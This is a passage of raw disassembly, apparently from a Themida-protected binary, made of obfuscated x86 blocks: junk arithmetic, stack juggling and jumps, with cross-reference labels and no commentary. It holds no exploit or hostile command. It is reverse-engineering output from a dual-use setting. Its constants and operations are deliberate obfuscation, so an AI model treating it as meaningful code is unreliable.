add eax, 0B118B64Dh
sub ebx, 5D681678h
jmp loc_597DFF
; ---------------------------------------------------------------------------
loc_5A090C: ; CODE XREF: Themida_:005A9C22j
pop edi
xchg ebx, [esp]
pop esp
push ecx
jmp loc_59AFC2
; ---------------------------------------------------------------------------
loc_5A0917: ; CODE XREF: Themida_:0059D40Bj
pop ebp
xchg edi, [esp]
jmp loc_59C077
; ---------------------------------------------------------------------------
loc_5A0920: ; CODE XREF: Themida_:005A3820j
push 5FF5h
mov [esp], ebp
mov ebp, 47AC38A0h
not ebp
push ebx
push 482D183Dh
pop ebx
or ebp, ebx
pop ebx
and ebp, 55CA6392h
not ebp
push 76FBh
mov [esp], eax
mov eax, 47DC0E26h
xor ebp, eax
pop eax
sub ebp, 97358955h
sub edi, ebp
pop ebp
shr edi, 6
shr edi, 2
jmp loc_59B2D0
; ---------------------------------------------------------------------------
loc_5A0965: ; CODE XREF: Themida_:005A5D87j
mov [esp], edi
mov edi, 400h
sub esp, 4
jmp loc_5AA9CC
; ---------------------------------------------------------------------------
loc_5A0978: ; CODE XREF: Themida_:005A1D78j
push ecx
jmp loc_597E4C
; ---------------------------------------------------------------------------
loc_5A097E: ; CODE XREF: Themida_:0059D89Ej
push ebp
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
xchg ebp, [esp]
pop esp
push 1C4Ch
mov [esp], ebp
jmp loc_5A9269
; ---------------------------------------------------------------------------
loc_5A09A1: ; CODE XREF: Themida_:0059D455j
push 2FF7h
jmp loc_5A1DA8
; ---------------------------------------------------------------------------
loc_5A09AB: ; CODE XREF: Themida_:005A758Bj
neg ecx
shr ecx, 5
jmp loc_5A0052
; ---------------------------------------------------------------------------
lodsb
push edx
jmp loc_597205
; ---------------------------------------------------------------------------
loc_5A09BC: ; CODE XREF: Themida_:0059E7CAj
add esi, eax
jmp loc_5A8ED6
; ---------------------------------------------------------------------------
loc_5A09C3: ; CODE XREF: Themida_:0059F449j
sub edx, 0F99305E7h
jmp loc_5A9C47
; ---------------------------------------------------------------------------
loc_5A09CE: ; CODE XREF: Themida_:0059E226j
dec esi
push edx
mov edx, 0B316253h
jmp loc_59704F
; ---------------------------------------------------------------------------
loc_5A09DA: ; CODE XREF: Themida_:00596D8Bj
add ecx, 59451F7Eh
pop eax
pop edx
push eax
mov eax, esp
add eax, 4
sub eax, 4
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], esi
mov esi, 2
sub ecx, 23CF49FDh
add ecx, esi
add ecx, 23CF49FDh
mov esi, [esp]
push eax
jmp loc_5A286F
; ---------------------------------------------------------------------------
loc_5A0A2E: ; CODE XREF: Themida_:0059A232j
push esi
mov esi, 20F976E2h
jmp loc_5A72F6
; ---------------------------------------------------------------------------
loc_5A0A39: ; CODE XREF: Themida_:005A1723j
push ebx
mov ebx, 5FA12BE9h
xor ebx, 17D76991h
shl ebx, 4
or ebx, 31C4666Dh
jmp loc_5A895A
; ---------------------------------------------------------------------------
loc_5A0A53: ; CODE XREF: Themida_:0059C3F9j
add ah, 8Bh
jmp loc_59FFAF
; ---------------------------------------------------------------------------
loc_5A0A5B: ; CODE XREF: Themida_:005A5A0Bj
or esi, 62BC1A98h
xor esi, 4E3177A2h
sub esi, 2B74685Bh
jmp loc_5A3E31
; ---------------------------------------------------------------------------
loc_5A0A72: ; CODE XREF: Themida_:00596660j
add ch, 0A0h
add bl, ch
pop ecx
sub esp, 2
mov [esp], cx
mov ch, 0FBh
sub al, ch
pop cx
sub al, 89h
sub al, 8Dh
sub al, 11h
sub al, bl
jmp loc_5A5299
; ---------------------------------------------------------------------------
loc_5A0A92: ; CODE XREF: Themida_:0059D490j
mov [esp], ebx
mov ebx, esp
push eax
mov eax, 4
add ebx, eax
pop eax
jmp loc_59B472
; ---------------------------------------------------------------------------
loc_5A0AA5: ; CODE XREF: Themida_:005A46F7j
pop ebx
not ebp
not ebp
xor ebp, 4DBE721Ch
inc ebp
jmp loc_59FE19
; ---------------------------------------------------------------------------
loc_5A0AB6: ; CODE XREF: Themida_:005A8F38j
add bl, dl
push dword ptr [esp]
pop edx
add esp, 4
sub bl, 23h
jmp loc_59C9D1
; ---------------------------------------------------------------------------
loc_5A0AC7: ; CODE XREF: Themida_:0059EC17j
push ecx
push esp
pop ecx
push esi
mov esi, 33CF7222h
neg esi
add esi, 12F6291Fh
sub esi, 70397E62h
xor esi, 6EED389Fh
jmp loc_5A544D
; ---------------------------------------------------------------------------
loc_5A0AE9: ; CODE XREF: Themida_:005A50AFj
mov ch, ah
mov bh, ch
pop ecx
push ecx
mov cl, bh
mov dh, cl
mov ecx, [esp]
add esp, 4
jmp loc_5A9306
; ---------------------------------------------------------------------------
loc_5A0AFE: ; CODE XREF: Themida_:005A1AEFj
sub esp, 4
mov [esp], ebx
jmp loc_5A2FC8
; ---------------------------------------------------------------------------
loc_5A0B0C: ; CODE XREF: Themida_:0059FB44j
sub ebx, edx
mov edx, [esp]
add esp, 4
push eax
mov eax, 30E924FEh
jmp loc_5A9FE5
; ---------------------------------------------------------------------------
loc_5A0B1F: ; CODE XREF: Themida_:0059E068j
mov ecx, ebp
mov ebp, [esp]
jmp loc_5A0888
; ---------------------------------------------------------------------------
loc_5A0B29: ; CODE XREF: Themida_:0059FE1Fj
add ecx, ebp
mov ebp, [esp]
add esp, 4
xchg ecx, [esp]
mov esp, [esp]
push 3558h
mov [esp], eax
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A0B44: ; CODE XREF: Themida_:005A862Dj
add ebx, 4
sub esp, 4
mov [esp], edx
push 35BD0944h
pop edx
shl edx, 7
push eax
mov eax, 7092520Ah
add edx, eax
jmp loc_59B0B2
; ---------------------------------------------------------------------------
loc_5A0B66: ; CODE XREF: Themida_:0059C8CDj
xchg edi, [esp]
pop esp
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A0B6F: ; CODE XREF: Themida_:00599B7Dj
inc ebx
jmp loc_5A2D7B
; ---------------------------------------------------------------------------
loc_5A0B75: ; CODE XREF: Themida_:00597D2Cj
pop eax
xor ecx, 0AF17D1FCh
jmp loc_59AC51
; ---------------------------------------------------------------------------
loc_5A0B81: ; CODE XREF: Themida_:0059C3EAj
xor edx, edi
pop edi
add eax, 453B0A34h
add eax, 41B05C09h
jmp loc_5A7635
; ---------------------------------------------------------------------------
loc_5A0B93: ; CODE XREF: Themida_:0059CD71j
add edx, 4
add edx, 4
push 1456h
jmp loc_59D252
; ---------------------------------------------------------------------------
loc_5A0BA6: ; CODE XREF: Themida_:0059646Aj
add edi, ebp
pop ebp
sub edi, 4
jmp loc_5A8423
; ---------------------------------------------------------------------------
loc_5A0BB1: ; CODE XREF: Themida_:0059C7F1j
add esp, 4
push dword ptr [eax]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A0BBB: ; CODE XREF: Themida_:005A6BB1j
dec edx
inc edx
xor edx, 684C7E7Ah
not edx
add edx, 8E53A24Bh
jmp loc_5A04C2
; ---------------------------------------------------------------------------
loc_5A0BD0: ; CODE XREF: Themida_:0059AF86j
add al, 58h
add al, dl
sub al, 58h
mov dx, [esp]
add esp, 2
sub esp, 4
mov [esp], ebx
push ecx
mov ch, 0D7h
sub ch, 57h
jmp loc_598A28
; ---------------------------------------------------------------------------
loc_5A0BEE: ; CODE XREF: Themida_:0059C695j
add al, 0C0h
add al, cl
jmp loc_5997E1
; ---------------------------------------------------------------------------
loc_5A0BF7: ; CODE XREF: Themida_:00597C24j
xchg ebp, [esp]
jmp loc_5A4C22
; ---------------------------------------------------------------------------
loc_5A0BFF: ; CODE XREF: Themida_:005A230Aj
mov bh, dl
jmp loc_5A28BC
; ---------------------------------------------------------------------------
loc_5A0C06: ; CODE XREF: Themida_:005A4388j
add esp, 4
jmp loc_59A275
; ---------------------------------------------------------------------------
loc_5A0C11: ; CODE XREF: Themida_:005A2C1Bj
sub esi, 1C8F231Bh
pop eax
push 152Ch
jmp loc_5A526B
; ---------------------------------------------------------------------------
loc_5A0C22: ; CODE XREF: Themida_:005A77F9j
push ebp
push 0F1Ch
mov [esp], ebx
jmp loc_5A3212
; ---------------------------------------------------------------------------
loc_5A0C30: ; CODE XREF: Themida_:0059CFC4j
sub esi, 74184604h
pop eax
add esi, edi
add esi, 394544BFh
add esi, 67C22009h
pop edi
xchg esi, [esp]
pop esp
btr [esp], ax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A0C55: ; CODE XREF: Themida_:0059EB84j
push edx
push ecx
mov ch, 95h
sub ch, 0F2h
jmp loc_5A6AAD
; ---------------------------------------------------------------------------
loc_5A0C61: ; CODE XREF: Themida_:005A278Ej
and edx, eax
mov eax, [esp]
add esp, 4
push edi
jmp loc_5A8FE5
; ---------------------------------------------------------------------------
loc_5A0C6F: ; CODE XREF: Themida_:0059BE3Fj
pop eax
jmp loc_59E80D
; ---------------------------------------------------------------------------
loc_5A0C75: ; CODE XREF: Themida_:005A59AFj
mov [esp], ebp
jmp loc_5A9D2E
; ---------------------------------------------------------------------------
loc_5A0C7D: ; CODE XREF: Themida_:00596DC0j
push 0E65h
mov [esp], esi
push ecx
jmp loc_5A01A9
; ---------------------------------------------------------------------------
loc_5A0C8B: ; CODE XREF: Themida_:005A2EEDj
pop ecx
push ecx
mov ecx, 77E44F89h
jmp loc_5AAFEE
; ---------------------------------------------------------------------------
loc_5A0C97: ; CODE XREF: Themida_:005A731Ej
add edi, 4
jmp loc_5AB374
; ---------------------------------------------------------------------------
loc_5A0CA2: ; CODE XREF: Themida_:00597E47j
push esp
pop edi
jmp loc_59D10F
; ---------------------------------------------------------------------------
loc_5A0CA9: ; CODE XREF: Themida_:005A8314j
shr ecx, 5
jmp loc_5A5139
; ---------------------------------------------------------------------------
loc_5A0CB1: ; CODE XREF: Themida_:005977F4j
push eax
mov eax, 36DA5C33h
push ebp
push 786C6EA0h
pop ebp
sub eax, ebp
pop ebp
xor eax, 54F265BEh
sub eax, 1
not eax
xor eax, 156077D7h
jmp loc_59CC52
; ---------------------------------------------------------------------------
loc_5A0CD5: ; CODE XREF: Themida_:0059D9AAj
pop ecx
jmp loc_5A0558
; ---------------------------------------------------------------------------
loc_5A0CDB: ; CODE XREF: Themida_:005A3E1Ej
mov esi, [esp]
add esp, 4
sub ebx, 0BDB59BFh
add ebx, esi
add ebx, 0BDB59BFh
jmp loc_59B960
; ---------------------------------------------------------------------------
loc_5A0CF7: ; CODE XREF: Themida_:00599F70j
mov ecx, [esp]
add esp, 4
push bx
mov bh, 0C2h
sub al, bh
pop bx
sub al, dh
jmp loc_5A10D8
; ---------------------------------------------------------------------------
mov cx, [esp]
push 6726h
mov [esp], eax
mov eax, esp
push 7045h
mov [esp], ebp
push esp
jmp loc_5A23E1
; ---------------------------------------------------------------------------
loc_5A0D2B: ; CODE XREF: Themida_:0059BCFAj
pop edi
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
push 19D0h
mov [esp], ebx
push 3E36h
jmp loc_5A53BA
; ---------------------------------------------------------------------------
loc_5A0D48: ; CODE XREF: Themida_:005A424Cj
pop ebp
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
add esp, 4
or edi, 1B952950h
dec edi
push ecx
mov ecx, 25CD2D2Ah
push eax
mov eax, 7A6E679Ah
inc eax
add eax, 2406F141h
jmp loc_5AADCA
; ---------------------------------------------------------------------------
loc_5A0D74: ; CODE XREF: Themida_:005A25D5j
sub eax, ecx
push esi
jmp loc_597026
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
jmp loc_5A962F
; ---------------------------------------------------------------------------
loc_5A0D88: ; CODE XREF: Themida_:005A968Ej
sub esp, 4
mov [esp], esi
mov esi, 22F2465Ch
and esi, 584447F0h
push 105Fh
mov [esp], ebp
push edi
mov edi, 404654h
mov ebp, edi
mov edi, [esp]
push ecx
jmp loc_5A450B
; ---------------------------------------------------------------------------
loc_5A0DB5: ; CODE XREF: Themida_:005A45FEj
sub ecx, 4C641E88h
jmp loc_59F468
; ---------------------------------------------------------------------------
loc_5A0DC0: ; CODE XREF: Themida_:005A7383j
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], edx
push esi
mov esi, 38976CC0h
sub esi, 1
shr esi, 3
push eax
jmp loc_5A96DC
; ---------------------------------------------------------------------------
loc_5A0DE7: ; CODE XREF: Themida_:005A63EAj
pop edx
add esi, 0F552FD0h
jmp loc_59AC6A
; ---------------------------------------------------------------------------
loc_5A0DF3: ; CODE XREF: Themida_:0059A24Ej
push ax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A0DFB: ; CODE XREF: Themida_:0059E964j
pop eax
sub edi, eax
add edi, 4D034523h
pop eax
sub edi, 877AFD43h
add ecx, edi
jmp loc_5A0862
; ---------------------------------------------------------------------------
loc_5A0E12: ; CODE XREF: Themida_:00596014j
sub eax, 1
sub eax, 2D5070FCh
xor eax, 1CD8AEACh
add ebp, 0B133A16h
sub ebp, eax
sub ebp, 0B133A16h
jmp loc_5A68FE
; ---------------------------------------------------------------------------
loc_5A0E34: ; CODE XREF: Themida_:0059AED6j
inc ch
or ch, 0C7h
sub ch, 0A3h
xor ch, ah
pop eax
and ch, 0D1h
xor ch, 4Eh
add al, ch
pop ecx
push ecx
mov ch, 0B4h
xor ch, 0E4h
add al, ch
pop ecx
sub al, cl
sub al, 50h
sub esp, 2
mov [esp], dx
mov dl, 0DEh
sub al, 40h
sub al, dl
add al, 40h
pop dx
mov cx, [esp]
jmp loc_5A8489
; ---------------------------------------------------------------------------
loc_5A0E72: ; CODE XREF: Themida_:0059F7DEj
mov esi, 3B703CBAh
sub [esp+8], esi
jmp loc_59A326
; ---------------------------------------------------------------------------
loc_5A0E80: ; CODE XREF: Themida_:0059CBE6j
add ecx, edx
pop edx
jmp loc_5A5508
; ---------------------------------------------------------------------------
loc_5A0E88: ; CODE XREF: Themida_:0059D300j
mov edx, esp
sub esp, 4
mov [esp], ecx
push edx
push 6E2A7BF7h
pop edx
not edx
jmp loc_5969AE
; ---------------------------------------------------------------------------
loc_5A0EA1: ; CODE XREF: Themida_:00595F84j
pop eax
push edx
pop ebx
mov edx, [esp]
jmp loc_5A7C8F
; ---------------------------------------------------------------------------
loc_5A0EAC: ; CODE XREF: Themida_:005A1C10j
add dl, 0EEh
add dl, 0DCh
xor al, dl
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
jmp loc_59EDB3
; ---------------------------------------------------------------------------
loc_5A0EC8: ; CODE XREF: Themida_:0059A740j
mov [esp], ecx
mov ecx, esp
jmp loc_5A2055
; ---------------------------------------------------------------------------
loc_5A0ED2: ; CODE XREF: Themida_:005A5E6Dj
sub edx, 50D93C1h
jmp loc_59A818
; ---------------------------------------------------------------------------
loc_5A0EDD: ; CODE XREF: Themida_:005A3591j
pop ebx
sub edx, ecx
jmp loc_5AA479
; ---------------------------------------------------------------------------
loc_5A0EE5: ; CODE XREF: Themida_:00596FFCj
push ebp
jmp loc_59BA8D
; ---------------------------------------------------------------------------
loc_5A0EEB: ; CODE XREF: Themida_:005A8BB6j
push dword ptr [esp]
jmp loc_5A058C
; ---------------------------------------------------------------------------
loc_5A0EF3: ; CODE XREF: Themida_:00598654j
add eax, 0F73948BBh
mov ebx, eax
jmp loc_59B6E6
; ---------------------------------------------------------------------------
loc_5A0EFF: ; CODE XREF: Themida_:00599FA8j
mov eax, 668E2D46h
add eax, 9971D2BEh
add ecx, eax
mov eax, [esp]
add esp, 4
sub ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_5A0FA1
; ---------------------------------------------------------------------------
loc_5A0F22: ; CODE XREF: Themida_:005AB122j
sub cl, 9Eh
jmp loc_59688F
; ---------------------------------------------------------------------------
loc_5A0F2A: ; CODE XREF: Themida_:005A598Ej
sub edi, 53B039D7h
pop edx
push edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_59FC7B
; ---------------------------------------------------------------------------
loc_5A0F4D: ; CODE XREF: Themida_:0059B22Dj
sub ecx, 0E0924DEh
sub ecx, ebp
add ecx, 0E0924DEh
pop ebp
jmp loc_59DDF8
; ---------------------------------------------------------------------------
loc_5A0F61: ; CODE XREF: Themida_:0059E268j
add esp, 4
dec edx
and edx, 60E30C7Eh
shr edx, 3
or edx, 5B5E6A8Ah
add edx, 0E950B109h
add ebp, edx
pop edx
shl ebp, 2
not ebp
jmp loc_59B124
; ---------------------------------------------------------------------------
loc_5A0F8A: ; CODE XREF: Themida_:005AB45Fj
mov [esp], edi
push ecx
mov ecx, 59CC4A01h
or ecx, 6E536338h
shl ecx, 3
jmp loc_5A3B7F
; ---------------------------------------------------------------------------
loc_5A0FA1: ; CODE XREF: Themida_:005A0F1Dj
pop dword ptr [esp]
jmp loc_598A36
; ---------------------------------------------------------------------------
loc_5A0FA9: ; CODE XREF: Themida_:005AAAB3j
mov eax, [esp]
add esp, 4
add dl, 31h
add dl, bh
sub dl, 31h
push dword ptr [esp]
pop ebx
add esp, 4
push 0F14h
mov [esp], eax
mov ah, 0A3h
jmp loc_59CB9D
; ---------------------------------------------------------------------------
loc_5A0FD3: ; CODE XREF: Themida_:005969EDj
mov esi, eax
pop eax
jmp loc_599497
; ---------------------------------------------------------------------------
loc_5A0FDB: ; CODE XREF: Themida_:0059A118j
movzx ax, byte ptr [eax]
push 40AFh
mov [esp], edi
push 4DD7h
mov [esp], esp
add dword ptr [esp], 4
pop edi
jmp loc_59A836
; ---------------------------------------------------------------------------
loc_5A0FF9: ; CODE XREF: Themida_:005A55CFj
add esi, ebp
jmp loc_59E9C4
; ---------------------------------------------------------------------------
loc_5A1000: ; CODE XREF: Themida_:0059E8C3j
push edx
jmp loc_5A27F0
; ---------------------------------------------------------------------------
loc_5A1006: ; CODE XREF: Themida_:005A46FDj
push esi
mov esi, 24505E81h
dec esi
shl esi, 7
not esi
sub esi, 78D8189Bh
sub esi, 5EF8A760h
add eax, esi
pop esi
push ecx
jmp loc_5A7022
; ---------------------------------------------------------------------------
loc_5A1027: ; CODE XREF: Themida_:005AB301j
add eax, 0B593BF78h
jmp loc_59D009
; ---------------------------------------------------------------------------
loc_5A1031: ; CODE XREF: Themida_:005A3FF9j
add ebx, 4
jmp loc_5A3D35
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A104B: ; CODE XREF: Themida_:005A2BA5j
pop ecx
push 67B6h
mov [esp], esi
mov esi, esp
add esi, 4
push 4CEBh
mov [esp], ebx
mov ebx, 172F75ABh
jmp loc_59E0FF
; ---------------------------------------------------------------------------
loc_5A106E: ; CODE XREF: Themida_:0059ADF2j
push ebp
push esp
push dword ptr [esp]
pop ebp
jmp loc_5A9406
; ---------------------------------------------------------------------------
loc_5A1079: ; CODE XREF: Themida_:005A20D7j
mov [esp], ecx
push ebp
mov ebp, 38A76A0Ah
jmp loc_599480
; ---------------------------------------------------------------------------
loc_5A1087: ; CODE XREF: Themida_:005A9D75j
push dword ptr [esp]
pop edx
push eax
mov eax, esp
add eax, 4
push edx
mov edx, 4
add eax, edx
pop edx
xchg eax, [esp]
pop esp
push ecx
mov ecx, 399B4649h
and esi, ecx
pop ecx
push edx
mov edx, 11D57049h
push ebp
mov ebp, 19D52093h
xor edx, ebp
pop ebp
sub esi, edx
jmp loc_598916
; ---------------------------------------------------------------------------
loc_5A10BF: ; CODE XREF: Themida_:005A2B21j
pop eax
push ecx
mov cl, bl
mov [edi+eax*4+1], cl
mov ecx, [esp]
jmp loc_59D5F1
; ---------------------------------------------------------------------------
loc_5A10CF: ; CODE XREF: Themida_:005A41F5j
sub edx, ecx
pop ecx
push edx
jmp loc_5AACE8
; ---------------------------------------------------------------------------
loc_5A10D8: ; CODE XREF: Themida_:005A0D0Aj
add al, 0C2h
push dword ptr [esp]
jmp loc_598E9B
; ---------------------------------------------------------------------------
loc_5A10E2: ; CODE XREF: Themida_:005972BBj
shr ecx, 8
shr ecx, 6
shr ecx, 5
jmp loc_596FC4
; ---------------------------------------------------------------------------
loc_5A10F0: ; CODE XREF: Themida_:0059983Fj
mov esi, 7AA53A8h
jmp loc_597F0F
; ---------------------------------------------------------------------------
loc_5A10FA: ; CODE XREF: Themida_:005A1868j
push esi
mov esi, 152E2C35h
shl esi, 4
shl esi, 5
jmp loc_5A609F
; ---------------------------------------------------------------------------
loc_5A110B: ; CODE XREF: Themida_:0059C4B4j
mov dh, bl
pop ebx
jmp loc_59E42D
; ---------------------------------------------------------------------------
loc_5A1113: ; CODE XREF: Themida_:0059F733j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add edx, ebp
mov ebp, [esp]
push edi
mov edi, esp
jmp loc_59FB0A
; ---------------------------------------------------------------------------
loc_5A112F: ; CODE XREF: Themida_:0059DD8Cj
pop edx
jmp loc_59807D
; ---------------------------------------------------------------------------
loc_5A1135: ; CODE XREF: Themida_:0059BB90j
sub esp, 4
mov [esp], eax
push esp
jmp loc_5A2CE1
; ---------------------------------------------------------------------------
loc_5A1144: ; CODE XREF: Themida_:005A1261j
add [esp+4], eax
sub dword ptr [esp+4], 0ED8079Ah
pop eax
pop ebx
push ecx
jmp loc_5AA7BB
; ---------------------------------------------------------------------------
loc_5A1158: ; CODE XREF: Themida_:0059F463j
xor esi, 3A0A3B89h
sub edi, esi
mov esi, [esp]
add esp, 4
mov edx, [esp]
add esp, 4
jmp loc_5A0807
; ---------------------------------------------------------------------------
xor [esp], si
xor si, [esp]
xor [esp], si
not si
sub esp, 2
mov [esp], si
push small word ptr [esp+2]
mov si, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_5A7FAD
; ---------------------------------------------------------------------------
loc_5A11A1: ; CODE XREF: Themida_:00599E58j
not ecx
jmp loc_5A9B3B
; ---------------------------------------------------------------------------
loc_5A11A8: ; CODE XREF: Themida_:005A436Ej
add esi, ebx
jmp loc_598A01
; ---------------------------------------------------------------------------
loc_5A11AF: ; CODE XREF: Themida_:005A27D4j
push ebx
mov bh, 3
add bh, 0FFh
neg bh
shl bh, 8
shr bh, 8
add bh, 40h
or al, bh
jmp loc_59878D
; ---------------------------------------------------------------------------
loc_5A11C7: ; CODE XREF: Themida_:0059F885j
push ecx
push esp
pop ecx
jmp loc_59D6C3
; ---------------------------------------------------------------------------
loc_5A11CF: ; CODE XREF: Themida_:0059ADA7j
add esp, 4
push dword ptr [esp]
pop ecx
push eax
jmp loc_5A8183
; ---------------------------------------------------------------------------
loc_5A11DF: ; CODE XREF: Themida_:0059F477j
mov edx, [esp]
add esp, 4
xor esi, [esp]
xor [esp], esi
jmp loc_5AB39F
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push ebx
jmp loc_59E88F
; ---------------------------------------------------------------------------
movzx ax, byte ptr fs:[edx]
jmp loc_59DBDD
; ---------------------------------------------------------------------------
loc_5A1209: ; CODE XREF: Themida_:005A6BD1j
mov edi, esp
jmp loc_599AEB
; ---------------------------------------------------------------------------
loc_5A1210: ; CODE XREF: Themida_:005AA9FDj
xor eax, [esp]
pop esp
jmp loc_5A25A5
; ---------------------------------------------------------------------------
loc_5A1219: ; CODE XREF: Themida_:005A8A31j
pop esi
push eax
jmp loc_596799
; ---------------------------------------------------------------------------
loc_5A1220: ; CODE XREF: Themida_:005A2E96j
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
push ebp
mov ebp, 417D6B5Eh
sub [esp+4], ebp
mov ebp, [esp]
add esp, 4
mov eax, [esp]
push esi
jmp loc_5A1797
; ---------------------------------------------------------------------------
loc_5A1243: ; CODE XREF: Themida_:0059690Cj
pop ebx
mov cl, bl
pop ebx
push small 31E8h
mov [esp], dx
not byte ptr [esp]
pop dx
jmp loc_59D073
; ---------------------------------------------------------------------------
loc_5A1259: ; CODE XREF: Themida_:005A3D30j
add dword ptr [esp+4], 0ED8079Ah
jmp loc_5A1144
; ---------------------------------------------------------------------------
loc_5A1266: ; CODE XREF: Themida_:005988FEj
shl eax, 8
neg eax
jmp loc_5A24CA
; ---------------------------------------------------------------------------
loc_5A1270: ; CODE XREF: Themida_:005A2A8Dj
mov edi, 50AE3D24h
or edi, 3D0D71C2h
push 57E8h
mov [esp], esi
jmp loc_5AA983
; ---------------------------------------------------------------------------
loc_5A1288: ; CODE XREF: Themida_:005A27F8j
add ebx, edi
pop edi
jmp loc_5A5109
; ---------------------------------------------------------------------------
loc_5A1290: ; CODE XREF: Themida_:005A18C9j
add esi, 0FC1E7068h
add eax, esi
pop esi
jmp loc_59B308
; ---------------------------------------------------------------------------
loc_5A129E: ; CODE XREF: Themida_:00599305j
mov ebx, ebp
pop ebp
sub ebx, 33617EFEh
sub ebx, 30035EA7h
jmp loc_59FC49
; ---------------------------------------------------------------------------
loc_5A12B2: ; CODE XREF: Themida_:005AAEF1j
push edi
mov edi, 22B313ECh
push eax
mov eax, 18518A5h
add edi, 20BA2F4Dh
sub edi, eax
sub edi, 20BA2F4Dh
pop eax
sub edi, 0ACB10Ah
add ebx, 416B2E39h
push edx
jmp loc_599522
; ---------------------------------------------------------------------------
loc_5A12DF: ; CODE XREF: Themida_:005A0447j
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A12E4: ; CODE XREF: Themida_:005AB1E9j
sub esp, 4
mov [esp], esi
push 2B4Bh
push 0E1Fh
push 28BDh
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_5A8F43
; ---------------------------------------------------------------------------
loc_5A1312: ; CODE XREF: Themida_:0059D72Aj
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
pop eax
pop edx
sub esp, 4
mov [esp], ebp
jmp loc_599FF3
; ---------------------------------------------------------------------------
loc_5A132F: ; CODE XREF: Themida_:00599275j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push eax
jmp loc_59919A
; ---------------------------------------------------------------------------
loc_5A1347: ; CODE XREF: Themida_:005A2A53j
not dl
shr dl, 2
sub esp, 4
jmp loc_59CCD8
; ---------------------------------------------------------------------------
loc_5A1357: ; CODE XREF: Themida_:005A1AA7j
pop esp
jmp loc_5A9CA0
; ---------------------------------------------------------------------------
loc_5A135D: ; CODE XREF: Themida_:0059C822j
add ebp, 4
jmp loc_597C29
; ---------------------------------------------------------------------------
loc_5A1368: ; CODE XREF: Themida_:0059B50Fj
push ecx
jmp loc_59A92A
; ---------------------------------------------------------------------------
loc_5A136E: ; CODE XREF: Themida_:0059B7E2j
xchg esi, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5A2471
; ---------------------------------------------------------------------------
loc_5A1381: ; CODE XREF: Themida_:005A52C0j
push 5818h
mov [esp], ecx
mov ecx, 4
sub eax, 5EA072EAh
add eax, ecx
add eax, 5EA072EAh
pop ecx
jmp loc_5988EE
; ---------------------------------------------------------------------------
loc_5A13A0: ; CODE XREF: Themida_:005A167Dj
push edi
jmp loc_59FDE7
; ---------------------------------------------------------------------------
loc_5A13A6: ; CODE XREF: Themida_:0059E3F5j
add esp, 4
push ebp
push 7694h
mov [esp], edx
jmp loc_5A6C3D
; ---------------------------------------------------------------------------
loc_5A13BA: ; CODE XREF: Themida_:0059CFD0j
pop ebp
xchg ebx, [esp]
jmp loc_5A186D
; ---------------------------------------------------------------------------
loc_5A13C3: ; CODE XREF: Themida_:005A6A60j
pop ecx
add esp, 4
push ebp
mov ebp, 467F18AFh
push ecx
mov ecx, 29A0481h
dec ecx
add ecx, 0FFFFFFFFh
not ecx
jmp loc_5A8551
; ---------------------------------------------------------------------------
loc_5A13E1: ; CODE XREF: Themida_:0059FECFj
push edi
mov edi, 194F5C6Eh
add edx, edi
pop edi
pop ecx
push eax
mov eax, 7E8014D7h
shl eax, 3
sub eax, 402D1B34h
xor eax, 0CF6BF63Fh
mov ebp, eax
pop eax
jmp loc_5980D9
; ---------------------------------------------------------------------------
loc_5A1406: ; CODE XREF: Themida_:0059E867j
neg edx
inc edx
xor edx, 2CA8240Fh
xor edx, 1289E349h
jmp loc_59748C
; ---------------------------------------------------------------------------
loc_5A141A: ; CODE XREF: Themida_:005A5B89j
add ebx, ecx
pop ecx
add ebx, eax
sub ebx, 78BC5109h
push eax
push ebx
jmp loc_597502
; ---------------------------------------------------------------------------
loc_5A142C: ; CODE XREF: Themida_:0059C87Fj
mov [esp], ecx
mov ecx, 24BD3368h
xor ebp, ecx
pop ecx
jmp loc_599117
; ---------------------------------------------------------------------------
loc_5A143C: ; CODE XREF: Themida_:00598960j
mov ebx, esp
add ebx, 4
push 4402h
mov [esp], eax
mov eax, 4
add ebx, eax
pop eax
push ebx
jmp loc_5A8965
; ---------------------------------------------------------------------------
loc_5A145A: ; CODE XREF: Themida_:0059ABE6j
add edi, 2CEBD440h
add esi, edi
pop edi
jmp loc_5AA93F
; ---------------------------------------------------------------------------
loc_5A1468: ; CODE XREF: Themida_:0059D98Ej
push edx
jmp loc_5A70FE
; ---------------------------------------------------------------------------
loc_5A146E: ; CODE XREF: Themida_:00597DAFj
mov esi, 6D3836A5h
sub esi, 1CC65C81h
and esi, 768D4A10h
push ebx
mov ebx, 0E2B907E5h
jmp loc_59F39E
; ---------------------------------------------------------------------------
loc_5A148A: ; CODE XREF: Themida_:005A48D1j
mov edx, 4E5F384Dh
and edx, 7CEE3214h
add edx, 0E0A0F21Ch
